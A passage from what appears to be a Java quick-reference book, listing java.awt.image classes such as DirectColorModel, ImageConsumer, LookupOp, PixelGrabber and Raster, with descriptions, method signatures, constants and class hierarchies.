 | public short[ ] getData ();
 | public short[ ] getData (int bank);
// | Public Methods Overriding DataBuffer
 | public int getElem (int i);
 | public int getElem (int bank, int i);
 | public void setElem (int i, int val);
 | public void setElem (int bank, int i, int val);
}

Hierarchy: Object-->DataBuffer-->DataBufferShort

DataBufferUShort Java 1.2
java.awt.image

This class stores unsigned image data in one or more short arrays. The arrays, or banks, of data can be passed directly to the DataBufferUShort() constructor, or they can be created by the constructor. You may specify an offset into each array at which the data begins. getElem() and setElem() allow you to get and set the values of a particular element of a particular bank. Most applications never use this class directly.

public final class DataBufferUShort extends DataBuffer {
// | Public Constructors
 | public DataBufferUShort (int size);
 | public DataBufferUShort (short[ ][ ] dataArray, int size);
 | public DataBufferUShort (short[ ] dataArray, int size);
 | public DataBufferUShort (int size, int numBanks);
 | public DataBufferUShort (short[ ][ ] dataArray, int size, int[ ] offsets);
 | public DataBufferUShort (short[ ] dataArray, int size, int offset);
// | Public Instance Methods
 | public short[ ][ ] getBankData ();
 | public short[ ] getData ();
 | public short[ ] getData (int bank);
// | Public Methods Overriding DataBuffer
 | public int getElem (int i);
 | public int getElem (int bank, int i);
 | public void setElem (int i, int val);
 | public void setElem (int bank, int i, int val);
}

Hierarchy: Object-->DataBuffer-->DataBufferUShort

DirectColorModel | Java 1.0
java.awt.image | PJ1.1

This ColorModel works only with RGB color spaces. It extracts red, green, blue, and, optionally, alpha values directly from the bits of the pixel, using bitmasks to specify which bits correspond to which color components. The default RGB color model is a DirectColorModel. Only applications that are doing custom image processing need to use this, or any, ColorModel.

Prior to Java 1.2, this class extended ColorModel directly. In Java 1.2, it extends PackedColorModel, which itself extends ColorModel. The Java 1.2 methods of this class that accept pixel values as an array of a primitive transfer type expect that array argument to have a length of 1.

public class DirectColorModel extends PackedColorModel {
// | Public Constructors
 | public DirectColorModel (int bits, int rmask, int gmask, int bmask);
 | public DirectColorModel (int bits, int rmask, int gmask, int bmask, int amask);
1.2 | public DirectColorModel (java.awt.color.ColorSpace space, int bits, int rmask, int gmask, int bmask, int amask, boolean isAlphaPremultiplied, int transferType);
// | Property Accessor Methods (by property name)
 | public final int getAlphaMask ();
 | public final int getBlueMask ();
 | public final int getGreenMask ();
 | public final int getRedMask ();
// | Public Methods Overriding ColorModel
1.2 | public final ColorModel coerceData (WritableRaster raster, boolean isAlphaPremultiplied);
1.2 | public final WritableRaster createCompatibleWritableRaster (int w, int h);
1.2 | public int getAlpha (Object inData);
 | public final int getAlpha (int pixel);
1.2 | public int getBlue (Object inData);
 | public final int getBlue (int pixel);
1.2 | public final int[ ] getComponents (Object pixel, int[ ] components, int offset);
1.2 | public final int[ ] getComponents (int pixel, int[ ] components, int offset);
1.2 | public int getDataElement (int[ ] components, int offset);
1.2 | public Object getDataElements (int rgb, Object pixel);
1.2 | public Object getDataElements (int[ ] components, int offset, Object obj);
1.2 | public int getGreen (Object inData);
 | public final int getGreen (int pixel);
1.2 | public int getRed (Object inData);
 | public final int getRed (int pixel);
 | public final int getRGB (int pixel);
1.2 | public int getRGB (Object inData);
1.2 | public boolean isCompatibleRaster (Raster raster);
1.2 | public String toString ();
}

Hierarchy: Object-->ColorModel(Transparency)-->PackedColorModel-->DirectColorModel

FilteredImageSource | Java 1.0
java.awt.image | PJ1.1

This class is an ImageProducer that produces image data filtered from some other ImageProducer. A FilteredImageSource is created with a specified ImageProducer and a specified ImageFilter. For example, an applet might use the following code to download and crop an image:

Image full_image = getImage(getDocumentBase(), "images/1.gif");
ImageFilter cropper = new CropImageFilter(10, 10, 100, 100);
ImageProducer prod = new FilteredImageSource(full_image.getSource(), cropper);
Image cropped_image = createImage(prod);

The methods of this class are the standard ImageProducer methods that you can invoke to add and remove ImageConsumer objects.

public class FilteredImageSource implements ImageProducer {
// | Public Constructors
 | public FilteredImageSource (ImageProducer orig, ImageFilter imgf); |
// | Methods Implementing ImageProducer
 | public void addConsumer (ImageConsumer ic); | synchronized
 | public boolean isConsumer (ImageConsumer ic); | synchronized
 | public void removeConsumer (ImageConsumer ic); | synchronized
 | public void requestTopDownLeftRightResend (ImageConsumer ic); |
 | public void startProduction (ImageConsumer ic); |
}

Hierarchy: Object-->FilteredImageSource(ImageProducer)

ImageConsumer | Java 1.0
java.awt.image | PJ1.1

This interface defines the methods necessary for a class that consumes image data to communicate with a class that produces image data. The methods defined by this interface should never be called by a program directly; instead, they are invoked by an ImageProducer to pass the image data and other information about the image to the ImageConsumer. The constants defined by this interface are values passed to the setHints() and imageComplete() methods. Unless you want to do low-level manipulation of image data, you never need to use or implement an ImageConsumer.

public abstract interface ImageConsumer {
// | Public Constants
 | public static final int COMPLETESCANLINES ; | =4
 | public static final int IMAGEABORTED ; | =4
 | public static final int IMAGEERROR ; | =1
 | public static final int RANDOMPIXELORDER ; | =1
 | public static final int SINGLEFRAME ; | =16
 | public static final int SINGLEFRAMEDONE ; | =2
 | public static final int SINGLEPASS ; | =8
 | public static final int STATICIMAGEDONE ; | =3
 | public static final int TOPDOWNLEFTRIGHT ; | =2
// | Public Instance Methods
 | public abstract void imageComplete (int status); |
 | public abstract void setColorModel (ColorModel model); |
 | public abstract void setDimensions (int width, int height); |
 | public abstract void setHints (int hintflags); |
 | public abstract void setPixels (int x, int y, int w, int h, ColorModel model, int[ ] pixels, int off, int scansize); |
 | public abstract void setPixels (int x, int y, int w, int h, ColorModel model, byte[ ] pixels, int off, int scansize); |
 | public abstract void setProperties (java.util.Hashtable props); |
}

Implementations: ImageFilter, PixelGrabber

Passed To: Too many methods to list.

Type Of: ImageFilter.consumer

ImageFilter | Java 1.0
java.awt.image | cloneable PJ1.1

This class is used in conjunction with a FilteredImageSource. It accepts image data through the ImageConsumer interface and passes it on to an ImageConsumer specified by the controlling FilteredImageSource. ImageFilter is the superclass of all image filters; it performs no filtering itself. You must subclass it to perform the desired filtering. See also CropImageFilter and RGBImageFilter. The ImageFilter methods are the ImageConsumer methods invoked by an ImageProducer. You should not call them directly. See FilteredImageSource for an example of using an ImageFilter.

public class ImageFilter implements Cloneable, ImageConsumer {
// | Public Constructors
 | public ImageFilter ();
// | Public Instance Methods
 | public ImageFilter getFilterInstance (ImageConsumer ic);
 | public void resendTopDownLeftRight (ImageProducer ip);
// | Methods Implementing ImageConsumer
 | public void imageComplete (int status);
 | public void setColorModel (ColorModel model);
 | public void setDimensions (int width, int height);
 | public void setHints (int hints);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, int[ ] pixels, int off, int scansize);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, byte[ ] pixels, int off, int scansize);
 | public void setProperties (java.util.Hashtable props);
// | Public Methods Overriding Object
 | public Object clone ();
// | Protected Instance Fields
 | protected ImageConsumer consumer ;
}

Hierarchy: Object-->ImageFilter(Cloneable,ImageConsumer)

Subclasses: BufferedImageFilter, CropImageFilter, ReplicateScaleFilter, RGBImageFilter

Passed To: FilteredImageSource.FilteredImageSource()

Returned By: ImageFilter.getFilterInstance()

ImageObserver | Java 1.0
java.awt.image | PJ1.1

This interface defines a method and associated constants used by classes that want to receive information asynchronously about the status of an image. Many methods that query information about an image take an ImageObserver as an argument. If the specified information is not available when requested, it is passed to the ImageObserver when it becomes available. Component implements this interface, and components are the most commonly used image observers.

public abstract interface ImageObserver {
// | Public Constants
 | public static final int ABORT ; | =128
 | public static final int ALLBITS ; | =32
 | public static final int ERROR ; | =64
 | public static final int FRAMEBITS ; | =16
 | public static final int HEIGHT ; | =2
 | public static final int PROPERTIES ; | =4
 | public static final int SOMEBITS ; | =8
 | public static final int WIDTH ; | =1
// | Public Instance Methods
 | public abstract boolean imageUpdate (Image img, int infoflags, int x, int y, int width, int height); |
}

Implementations: Component

Passed To: Too many methods to list.

Returned By: javax.swing.ImageIcon.getImageObserver()

ImageProducer | Java 1.0
java.awt.image | PJ1.1

This interface defines the methods that any class that produces image data must define to enable communication with ImageConsumer classes. An ImageConsumer registers itself as interested in a producer's image by calling the addConsumer() method. Most applications never need to use or implement this interface.

public abstract interface ImageProducer {
// | Public Instance Methods
 | public abstract void addConsumer (ImageConsumer ic);
 | public abstract boolean isConsumer (ImageConsumer ic);
 | public abstract void removeConsumer (ImageConsumer ic);
 | public abstract void requestTopDownLeftRightResend (ImageConsumer ic);
 | public abstract void startProduction (ImageConsumer ic);
}

Implementations: FilteredImageSource, MemoryImageSource, java.awt.image.renderable.RenderableImageProducer

Passed To: Component.createImage(), Toolkit.createImage(), FilteredImageSource.FilteredImageSource(), ImageFilter.resendTopDownLeftRight(), PixelGrabber.PixelGrabber(), java.awt.peer.ComponentPeer.createImage()

Returned By: Image.getSource(), BufferedImage.getSource()

ImagingOpException | Java 1.2
java.awt.image | serializable unchecked

Thrown by the filter() methods of BufferedImageOp and RasterOp if, for any reason, they are unable to filter the specified image.

public class ImagingOpException extends RuntimeException {
// | Public Constructors
 | public ImagingOpException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->ImagingOpException

IndexColorModel | Java 1.0
java.awt.image | PJ1.1

This ColorModel is used with RGB color spaces and determines the red, green, blue, and, optionally, alpha components of a pixel by using the pixel value as an index into colormap arrays. If no array of alpha values is specified, all pixels are fully opaque, except for one optionally specified reserved value that is fully transparent. This color model is useful when working with image data that is defined in terms of a colormap. Only applications that are doing custom image processing need to use this, or any, ColorModel.

public class IndexColorModel extends ColorModel {
// | Public Constructors
 | public IndexColorModel (int bits, int size, byte[ ] cmap, int start, boolean hasalpha);
 | public IndexColorModel (int bits, int size, byte[ ] r, byte[ ] g, byte[ ] b);
 | public IndexColorModel (int bits, int size, byte[ ] cmap, int start, boolean hasalpha, int trans);
 | public IndexColorModel (int bits, int size, byte[ ] r, byte[ ] g, byte[ ] b, byte[ ] a);
 | public IndexColorModel (int bits, int size, byte[ ] r, byte[ ] g, byte[ ] b, int trans);
1.2 | public IndexColorModel (int bits, int size, int[ ] cmap, int start, boolean hasalpha, int trans, int transferType);
// | Public Instance Methods
1.2 | public BufferedImage convertToIntDiscrete (Raster raster, boolean forceARGB);
 | public final void getAlphas (byte[ ] a);
 | public final void getBlues (byte[ ] b);
 | public final void getGreens (byte[ ] g);
 | public final int getMapSize ();
 | public final void getReds (byte[ ] r);
1.2 | public final void getRGBs (int[ ] rgb);
 | public final int getTransparentPixel ();
// | Public Methods Overriding ColorModel
1.2 | public SampleModel createCompatibleSampleModel (int w, int h);
1.2 | public WritableRaster createCompatibleWritableRaster (int w, int h);
1.2 | public void finalize ();
 | public final int getAlpha (int pixel);
 | public final int getBlue (int pixel);
1.2 | public int[ ] getComponents (Object pixel, int[ ] components, int offset);
1.2 | public int[ ] getComponents (int pixel, int[ ] components, int offset);
1.2 | public int[ ] getComponentSize ();
1.2 | public int getDataElement (int[ ] components, int offset);
1.2 | public Object getDataElements (int rgb, Object pixel);
1.2 | public Object getDataElements (int[ ] components, int offset, Object pixel);
 | public final int getGreen (int pixel);
 | public final int getRed (int pixel);
 | public final int getRGB (int pixel);
1.2 | public int getTransparency ();
1.2 | public boolean isCompatibleRaster (Raster raster);
1.2 | public boolean isCompatibleSampleModel (SampleModel sm);
1.2 | public String toString ();
}

Hierarchy: Object-->ColorModel(Transparency)-->IndexColorModel

Passed To: BufferedImage.BufferedImage(), RGBImageFilter.filterIndexColorModel()

Returned By: RGBImageFilter.filterIndexColorModel()

Kernel | Java 1.2
java.awt.image | cloneable

This class represents a matrix of float values, for use with the ConvolveOp image-processing operation. Convolution is performed by combining a pixel value with the values of the pixels that surround it. The convolution kernel specifies the relative contribution of each pixel to the end result. For example, to blur an image, you can use a kernel like this: figure This matrix specifies that the destination pixel is composed of one-ninth (0.111) of the source pixel plus one-ninth of each of the eight pixels that surround it.

To create a Kernel, pass the width and height of the kernel to the constructor, along with the array of float values that comprise the kernel. The array should be organized by rows. Note that a Kernel need not have a square array. Kernels typically have an odd number of rows and columns and are placed symmetrically about the source pixel being processed. However, if the number of rows or columns is even, the origin of the Kernel is such that the extra row or column is to the bottom or the right of the pixel being processed.

public class Kernel implements Cloneable {
// | Public Constructors
 | public Kernel (int width, int height, float[ ] data);
// | Property Accessor Methods (by property name)
 | public final int getHeight ();
 | public final int getWidth ();
 | public final int getXOrigin ();
 | public final int getYOrigin ();
// | Public Instance Methods
 | public final float[ ] getKernelData (float[ ] data);
// | Public Methods Overriding Object
 | public Object clone ();
}

Hierarchy: Object-->Kernel(Cloneable)

Passed To: ConvolveOp.ConvolveOp()

Returned By: ConvolveOp.getKernel()

LookupOp Java 1.2
java.awt.image

This class is a BufferedImageOp and RasterOp that processes an image by one or more lookup tables to convert the value of each component of each pixel to a new value. LookupOp is useful for operations such as brightening or darkening an image, reducing the number of colors in an image, or thresholding an image. When you create a LookupOp object, you specify the lookup table or tables with a LookupTable object, typically a ByteLookupTable or ShortLookupTable. If the LookupTable contains one table, that table is used for all color bands of the image (but not alpha bands). Otherwise, the LookupTable should contain one table for each color band or one table for each of the color and transparency bands. If you specify a RenderingHints object when you create a LookupOp, the operation may use the color rendering and dithering hints it contains.

To use a LookupOp, simply pass a source and optional destination image or raster to the filter() method. Because LookupOp processes pixels independently of each other, you can use the same objects as both source and destination. Because of the nature of lookup tables, however, you cannot use LookupOp with images that use an IndexColorModel. If the lookup tables used by a LookupOp describe a simple linear function, you can also use a RescaleOp to achieve the same effect. See BufferedImageOp for further details.

public class LookupOp implements BufferedImageOp, RasterOp {
// | Public Constructors
 | public LookupOp (LookupTable lookup, RenderingHints hints);
// | Public Instance Methods
 | public final LookupTable getTable ();
// | Methods Implementing BufferedImageOp
 | public BufferedImage createCompatibleDestImage (BufferedImage src, ColorModel destCM);
 | public final BufferedImage filter (BufferedImage src, BufferedImage dst);
 | public final java.awt.geom.Rectangle2D getBounds2D (BufferedImage src);
 | public final java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt);
 | public final RenderingHints getRenderingHints ();
// | Methods Implementing RasterOp
 | public WritableRaster createCompatibleDestRaster (Raster src);
 | public final WritableRaster filter (Raster src, WritableRaster dst);
 | public final java.awt.geom.Rectangle2D getBounds2D (Raster src);
}

Hierarchy: Object-->LookupOp(BufferedImageOp,RasterOp)

LookupTable Java 1.2
java.awt.image

This abstract class defines one or more lookup tables used by the LookupOp image-processing operation. lookupPixel() performs the table-lookup operation. This method is passed an array of color component source values. It transforms this array into a new array of destination values by replacing each source value with the value found in the appropriate lookup table at the index that corresponds to the source value. Note, however, that an offset may be specified for the lookup tables. If so, the offset is subtracted from the source values before the lookup is performed. See the concrete subclasses ByteLookupTable and ShortLookupTable.

public abstract class LookupTable {
// | Protected Constructors
 | protected LookupTable (int offset, int numComponents);
// | Public Instance Methods
 | public int getNumComponents ();
 | public int getOffset ();
 | public abstract int[ ] lookupPixel (int[ ] src, int[ ] dest);
}

Subclasses: ByteLookupTable, ShortLookupTable

Passed To: LookupOp.LookupOp()

Returned By: LookupOp.getTable()

MemoryImageSource | Java 1.0
java.awt.image | PJ1.1

This class is an ImageProducer that produces an image from data stored in memory. The various constructors specify image data, color model, array offset, scanline length, and properties in slightly different ways. The instance methods implement the standard ImageProducer interface that allows an ImageConsumer object to register interest in the image.

public class MemoryImageSource implements ImageProducer {
// | Public Constructors
 | public MemoryImageSource (int w, int h, int[ ] pix, int off, int scan); |
 | public MemoryImageSource (int w, int h, ColorModel cm, int[ ] pix, int off, int scan); |
 | public MemoryImageSource (int w, int h, ColorModel cm, byte[ ] pix, int off, int scan); |
 | public MemoryImageSource (int w, int h, int[ ] pix, int off, int scan, java.util.Hashtable props); |
 | public MemoryImageSource (int w, int h, ColorModel cm, byte[ ] pix, int off, int scan, java.util.Hashtable props); |
 | public MemoryImageSource (int w, int h, ColorModel cm, int[ ] pix, int off, int scan, java.util.Hashtable props); |
// | Public Instance Methods
1.1 | public void newPixels (); |
1.1 | public void newPixels (byte[ ] newpix, ColorModel newmodel, int offset, int scansize); | synchronized
1.1 | public void newPixels (int[ ] newpix, ColorModel newmodel, int offset, int scansize); | synchronized
1.1 | public void newPixels (int x, int y, int w, int h); | synchronized
1.1 | public void newPixels (int x, int y, int w, int h, boolean framenotify); | synchronized
1.1 | public void setAnimated (boolean animated); | synchronized
1.1 | public void setFullBufferUpdates (boolean fullbuffers); | synchronized
// | Methods Implementing ImageProducer
 | public void addConsumer (ImageConsumer ic); | synchronized
 | public boolean isConsumer (ImageConsumer ic); | synchronized
 | public void removeConsumer (ImageConsumer ic); | synchronized
 | public void requestTopDownLeftRightResend (ImageConsumer ic); | empty
 | public void startProduction (ImageConsumer ic); |
}

Hierarchy: Object-->MemoryImageSource(ImageProducer)

MultiPixelPackedSampleModel Java 1.2
java.awt.image

This SampleModel knows how to interpret single-banded image data in a DataBuffer that is organized so that more than one pixel is packed into a single element of the data buffer. For example, a MultiPixelPackedSampleModel can be used to represent a monochrome image in which eight pixels are packed in a byte or 8-bit indexed color data in which four pixels are packed into an int. Most applications never need to use this class. See also SampleModel for further information.

public class MultiPixelPackedSampleModel extends SampleModel {
// | Public Constructors
 | public MultiPixelPackedSampleModel (int dataType, int w, int h, int numberOfBits); |
 | public MultiPixelPackedSampleModel (int dataType, int w, int h, int numberOfBits, int scanlineStride, int dataBitOffset); |
// | Public Instance Methods
 | public int getBitOffset (int x); |
 | public int getDataBitOffset (); |
 | public int getOffset (int x, int y); |
 | public int getPixelBitStride (); |
 | public int getScanlineStride (); |
// | Public Methods Overriding SampleModel
 | public SampleModel createCompatibleSampleModel (int w, int h); |
 | public DataBuffer createDataBuffer (); |
 | public int getNumDataElements (); | constant
 | public SampleModel createSubsetSampleModel (int[ ] bands); |
 | public Object getDataElements (int x, int y, Object obj, DataBuffer data); |
 | public int[ ] getPixel (int x, int y, int[ ] iArray, DataBuffer data); |
 | public int getSample (int x, int y, int b, DataBuffer data); |
 | public int[ ] getSampleSize (); |
 | public int getSampleSize (int band); |
 | public int getTransferType (); |
 | public void setDataElements (int x, int y, Object obj, DataBuffer data); |
 | public void setPixel (int x, int y, int[ ] iArray, DataBuffer data); |
 | public void setSample (int x, int y, int b, int s, DataBuffer data); |
}

Hierarchy: Object-->SampleModel-->MultiPixelPackedSampleModel

PackedColorModel Java 1.2
java.awt.image

This abstract ColorModel is used with image data in which color component and transparency values are packed into contiguous bits of a byte, short, or int. It uses bitmasks and bit-shifting operations to extract the color and transparency components from the pixel value. DirectColorModel is a concrete subclass that works with RGB color spaces. Only applications that are doing custom image processing need to use this, or any, ColorModel.

public abstract class PackedColorModel extends ColorModel {
// | Public Constructors
 | public PackedColorModel (java.awt.color.ColorSpace space, int bits, int[ ] colorMaskArray, int alphaMask, boolean isAlphaPremultiplied, int trans, int transferType);
 | public PackedColorModel (java.awt.color.ColorSpace space, int bits, int rmask, int gmask, int bmask, int amask, boolean isAlphaPremultiplied, int trans, int transferType);
// | Public Instance Methods
 | public final int getMask (int index);
 | public final int[ ] getMasks ();
// | Public Methods Overriding ColorModel
 | public SampleModel createCompatibleSampleModel (int w, int h);
 | public boolean equals (Object obj);
 | public WritableRaster getAlphaRaster (WritableRaster raster);
 | public boolean isCompatibleSampleModel (SampleModel sm);
}

Hierarchy: Object-->ColorModel(Transparency)-->PackedColorModel

Subclasses: DirectColorModel

PixelGrabber | Java 1.0
java.awt.image | PJ1.1

This class is an ImageConsumer that extracts a specified rectangular array of pixels (in the default RGB color model) from a specified Image or ImageProducer and stores them in a specified array (using the specified offset into the array and specified scanline size). Use this class when you want to inspect or manipulate the data of an image or some rectangular portion of an image.

The method grabPixels() makes the PixelGrabber start grabbing pixels. status() returns the status of the pixel-grabbing process. The return value uses the same flag value constants that the ImageObserver class does. The remaining methods are the standard ImageConsumer methods and should not be called directly.

public class PixelGrabber implements ImageConsumer {
// | Public Constructors
1.1 | public PixelGrabber (Image img, int x, int y, int w, int h, boolean forceRGB); |
 | public PixelGrabber (ImageProducer ip, int x, int y, int w, int h, int[ ] pix, int off, int scansize); |
 | public PixelGrabber (Image img, int x, int y, int w, int h, int[ ] pix, int off, int scansize); |
// | Property Accessor Methods (by property name)
1.1 | public ColorModel getColorModel (); | synchronized
 | public void setColorModel (ColorModel model); | Implements:ImageConsumer empty
1.1 | public int getHeight (); | synchronized
1.1 | public Object getPixels (); | synchronized
1.1 | public int getStatus (); | synchronized
1.1 | public int getWidth (); | synchronized
// | Public Instance Methods
1.1 | public void abortGrabbing (); | synchronized
 | public boolean grabPixels () throws InterruptedException; |
 | public boolean grabPixels (long ms) throws InterruptedException; | synchronized
1.1 | public void startGrabbing (); | synchronized
 | public int status (); | synchronized
// | Methods Implementing ImageConsumer
 | public void imageComplete (int status); | synchronized
 | public void setColorModel (ColorModel model); | empty
 | public void setDimensions (int width, int height); |
 | public void setHints (int hints); | empty
 | public void setPixels (int srcX, int srcY, int srcW, int srcH, ColorModel model, int[ ] pixels, int srcOff, int srcScan); |
 | public void setPixels (int srcX, int srcY, int srcW, int srcH, ColorModel model, byte[ ] pixels, int srcOff, int srcScan); |
 | public void setProperties (java.util.Hashtable props); | empty
}

Hierarchy: Object-->PixelGrabber(ImageConsumer)

PixelInterleavedSampleModel Java 1.2
java.awt.image

This SampleModel represents image data stored so that each component of each pixel is stored in a separate element of the DataBuffer and all pixel components are stored in the same bank of the DataBuffer. For example, it can be used to represent RGB pixels in which the red, green, and blue components are interleaved into a single bank of byte values. Most applications never need to use this class or its subclasses. See SampleModel for further information.

public class PixelInterleavedSampleModel extends ComponentSampleModel {
// | Public Constructors
 | public PixelInterleavedSampleModel (int dataType, int w, int h, int pixelStride, int scanlineStride, int[ ] bandOffsets);
// | Public Methods Overriding ComponentSampleModel
 | public SampleModel createCompatibleSampleModel (int w, int h);
 | public SampleModel createSubsetSampleModel (int[ ] bands);
}

Hierarchy: Object-->SampleModel-->ComponentSampleModel-->PixelInterleavedSampleModel

Raster Java 1.2
java.awt.image

This class represents a rectangular array of pixels. A Raster is composed of a DataBuffer that contains raw pixel data and a matching SampleModel that knows how to extract pixel data from that DataBuffer. A Raster object is used within a BufferedImage object, which also contains a ColorModel object to interpret the pixel values of the Raster as colors. Most applications can simply used BufferedImage objects and never have to work with Raster objects directly.

Raster does not have any public constructors. You can call the static method createRaster() or createWritableRaster() to create a Raster using arbitrary DataBuffer and SampleModel objects. However, you usually obtain more efficient results if you use createBandedRaster(), createInterleavedRaster(), or createPackedRaster() to create a Raster using one of the data formats supported by the built-in DataBuffer and SampleModel subclasses.

Raster contains a number of methods to read individual pixels and blocks of pixels. Note, however, that there are no methods to set pixel values. If you want to modify pixels in a Raster, you must use the WritableRaster subclass. A Raster can have a parent Raster that contains the actual data. The createChild() method uses this feature to return a Raster object that represents a rectangular subset of the current raster. (It can also return a child Raster that contains only a subset of the bands of the parent raster: for example, a Raster that contains only the alpha band of transparency values of its parent.) Finally, while BufferedImage objects have only a width and height, Raster objects have a size and location. Thus, you can specify an origin when you create a Raster.

public class Raster {
// | Protected Constructors
 | protected Raster (SampleModel sampleModel, Point origin);
 | protected Raster (SampleModel sampleModel, DataBuffer dataBuffer, Point origin);
 | protected Raster (SampleModel sampleModel, DataBuffer dataBuffer, Rectangle aRegion, Point sampleModelTranslate, Raster parent);
// | Public Class Methods
 | public static WritableRaster createBandedRaster (int dataType, int w, int h, int bands, Point location);
 | public static WritableRaster createBandedRaster (int dataType, int w, int h, int scanlineStride, int[ ] bankIndices, int[ ] bandOffsets, Point location);
 | public static WritableRaster createBandedRaster (DataBuffer dataBuffer, int w, int h, int scanlineStride, int[ ] bankIndices, int[ ] bandOffsets, Point location);
 | public static WritableRaster createInterleavedRaster (int dataType, int w, int h, int bands, Point location);
 | public static WritableRaster createInterleavedRaster (int dataType, int w, int h, int scanlineStride, int pixelStride, int[ ] bandOffsets, Point location);
 | public static WritableRaster createInterleavedRaster (DataBuffer dataBuffer, int w, int h, int scanlineStride, int pixelStride, int[ ] bandOffsets, Point location);
 | public static WritableRaster createPackedRaster (DataBuffer dataBuffer, int w, int h, int bitsPerPixel, Point location);
 | public static WritableRaster createPackedRaster (int dataType, int w, int h, int[ ] bandMasks, Point location);
 | public static WritableRaster createPackedRaster (DataBuffer dataBuffer, int w, int h, int scanlineStride, int[ ] bandMasks, Point location);
 | public static WritableRaster createPackedRaster (int dataType, int w, int h, int bands, int bitsPerBand, Point location);
 | public static Raster createRaster (SampleModel sm, DataBuffer db, Point location);
 | public static WritableRaster createWritableRaster (SampleModel sm, Point location);
 | public static WritableRaster createWritableRaster (SampleModel sm, DataBuffer db, Point location);
// | Property Accessor Methods (by property name)
 | public Rectangle getBounds ();
 | public DataBuffer getDataBuffer ();
 | public final int getHeight ();
 | public final int getMinX ();
 | public final int getMinY ();
 | public final int getNumBands ();
 | public final int getNumDataElements ();
 | public Raster getParent ();
 | public SampleModel getSampleModel ();
 | public final int getSampleModelTranslateX ();
 | public final int getSampleModelTranslateY ();
 | public final int getTransferType ();
 | public final int getWidth ();
// | Public Instance Methods
 | public Raster createChild (int parentX, int parentY, int width, int height, int childMinX, int childMinY, int[ ] bandList);
 | public WritableRaster createCompatibleWritableRaster ();
 | public WritableRaster createCompatibleWritableRaster (Rectangle rect);
 | public WritableRaster createCompatibleWritableRaster (int w, int h);
 | public WritableRaster createCompatibleWritableRaster (int x, int y, int w, int h);
 | public Raster createTranslatedChild (int childMinX, int childMinY);
 | public Object getDataElements (int x, int y, Object outData);
 | public Object getDataElements (int x, int y, int w, int h, Object outData);
 | public int[ ] getPixel (int x, int y, int[ ] iArray);
 | public float[ ] getPixel (int x, int y, float[ ] fArray);
 | public double[ ] getPixel (int x, int y, double[ ] dArray);
 | public int[ ] getPixels (int x, int y, int w, int h, int[ ] iArray);
 | public float[ ] getPixels (int x, int y, int w, int h, float[ ] fArray);
 | public double[ ] getPixels (int x, int y, int w, int h, double[ ] dArray);
 | public int getSample (int x, int y, int b);
 | public double getSampleDouble (int x, int y, int b);
 | public float getSampleFloat (int x, int y, int b);
 | public int[ ] getSamples (int x, int y, int w, int h, int b, int[ ] iArray);
 | public float[ ] getSamples (int x, int y, int w, int h, int b, float[ ] fArray);
 | public double[ ] getSamples (int x, int y, int w, int h, int b, double[ ] dArray);
// | Protected Instance Fields
 | protected DataBuffer dataBuffer ;
 | protected int height ;
 | protected int minX ;
 | protected int minY ;
 | protected int numBands ;
 | protected int numDataElements ;
 | protected Raster parent ;
 | protected SampleModel sampleModel ;
 | protected int sampleModelTranslateX ;
 | protected int sampleModelTranslateY ;
 | protected int width ;
}

Subclasses: WritableRaster

Passed To: Too many methods to list.

Returned By: PaintContext.getRaster(), BufferedImage.{getData(), getTile()}, Raster.{createChild(), createRaster(), createTranslatedChild(), getParent()}, RenderedImage.{getData(), getTile()}

Type Of: Raster.parent

RasterFormatException | Java 1.2
java.awt.image | serializable unchecked

Signals that a Raster is improperly configured.

public class RasterFormatException extends RuntimeException {
// | Public Constructors
 | public RasterFormatException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->RasterFormatException

RasterOp Java 1.2
java.awt.image

This interface defines an image-processing operation that can be performed on a Raster. It is very similar to the BufferedImageOp, except that the operation is performed directly on the uninterpreted pixels of Raster data, rather than on the color values of a BufferedImage. Many of the implementations of BufferedImageOp are also implementations of RasterOp. See BufferedImageOp for details.

public abstract interface RasterOp {
// | Public Instance Methods
 | public abstract WritableRaster createCompatibleDestRaster (Raster src);
 | public abstract WritableRaster filter (Raster src, WritableRaster dest);
 | public abstract java.awt.geom.Rectangle2D getBounds2D (Raster src);
 | public abstract java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt);
 | public abstract RenderingHints getRenderingHints ();
}

Implementations: AffineTransformOp, BandCombineOp, ColorConvertOp, ConvolveOp, LookupOp, RescaleOp

RenderedImage Java 1.2
java.awt.image

This interface describes the methods of rendered images. RenderedImage exists primarily for use by the forthcoming Java Advanced Imaging API (javax.jai.*), but it is also implemented (through WritableRenderedImage) by BufferedImage, meaning that BufferedImage images will be able to interoperate with JAI-rendered images.

The getSources() method and the tile-related methods of RenderedImage are used in the JAI, and are not of interest in Java 2D. BufferedImage objects contain only a single tile, so the BufferedImage class defines implementations of these methods. Methods that are of interest include getData(), getSampleModel(), and getColorModel(). These methods return a copy of the Raster that contains pixels, the SampleModel that specifies the internal organization of the Raster, and the ColorModel that specifies how to interpret the pixels as colors, respectively. getWidth(), getHeight(), and copyData() are also useful in Java 2D programs.

public abstract interface RenderedImage {
// | Property Accessor Methods (by property name)
 | public abstract ColorModel getColorModel ();
 | public abstract Raster getData ();
 | public abstract Raster getData (Rectangle rect);
 | public abstract int getHeight ();
 | public abstract int getMinTileX ();
 | public abstract int getMinTileY ();
 | public abstract int getMinX ();
 | public abstract int getMinY ();
 | public abstract int getNumXTiles ();
 | public abstract int getNumYTiles ();
 | public abstract String[ ] getPropertyNames ();
 | public abstract SampleModel getSampleModel ();
 | public abstract java.util.Vector getSources ();
 | public abstract int getTileGridXOffset ();
 | public abstract int getTileGridYOffset ();
 | public abstract int getTileHeight ();
 | public abstract int getTileWidth ();
 | public abstract int getWidth ();
// | Public Instance Methods
 | public abstract WritableRaster copyData (WritableRaster raster);
 | public abstract Object getProperty (String name);
 | public abstract Raster getTile (int tileX, int tileY);
}

Implementations: WritableRenderedImage

Passed To: Graphics2D.drawRenderedImage()

Returned By: java.awt.image.renderable.ContextualRenderedImageFactory.create(), java.awt.image.renderable.ParameterBlock.getRenderedSource(), java.awt.image.renderable.RenderableImage.{createDefaultRendering(), createRendering(), createScaledRendering()}, java.awt.image.renderable.RenderableImageOp.{createDefaultRendering(), createRendering(), createScaledRendering()}, java.awt.image.renderable.RenderedImageFactory.create()

ReplicateScaleFilter | Java 1.1
java.awt.image | cloneable PJ1.1

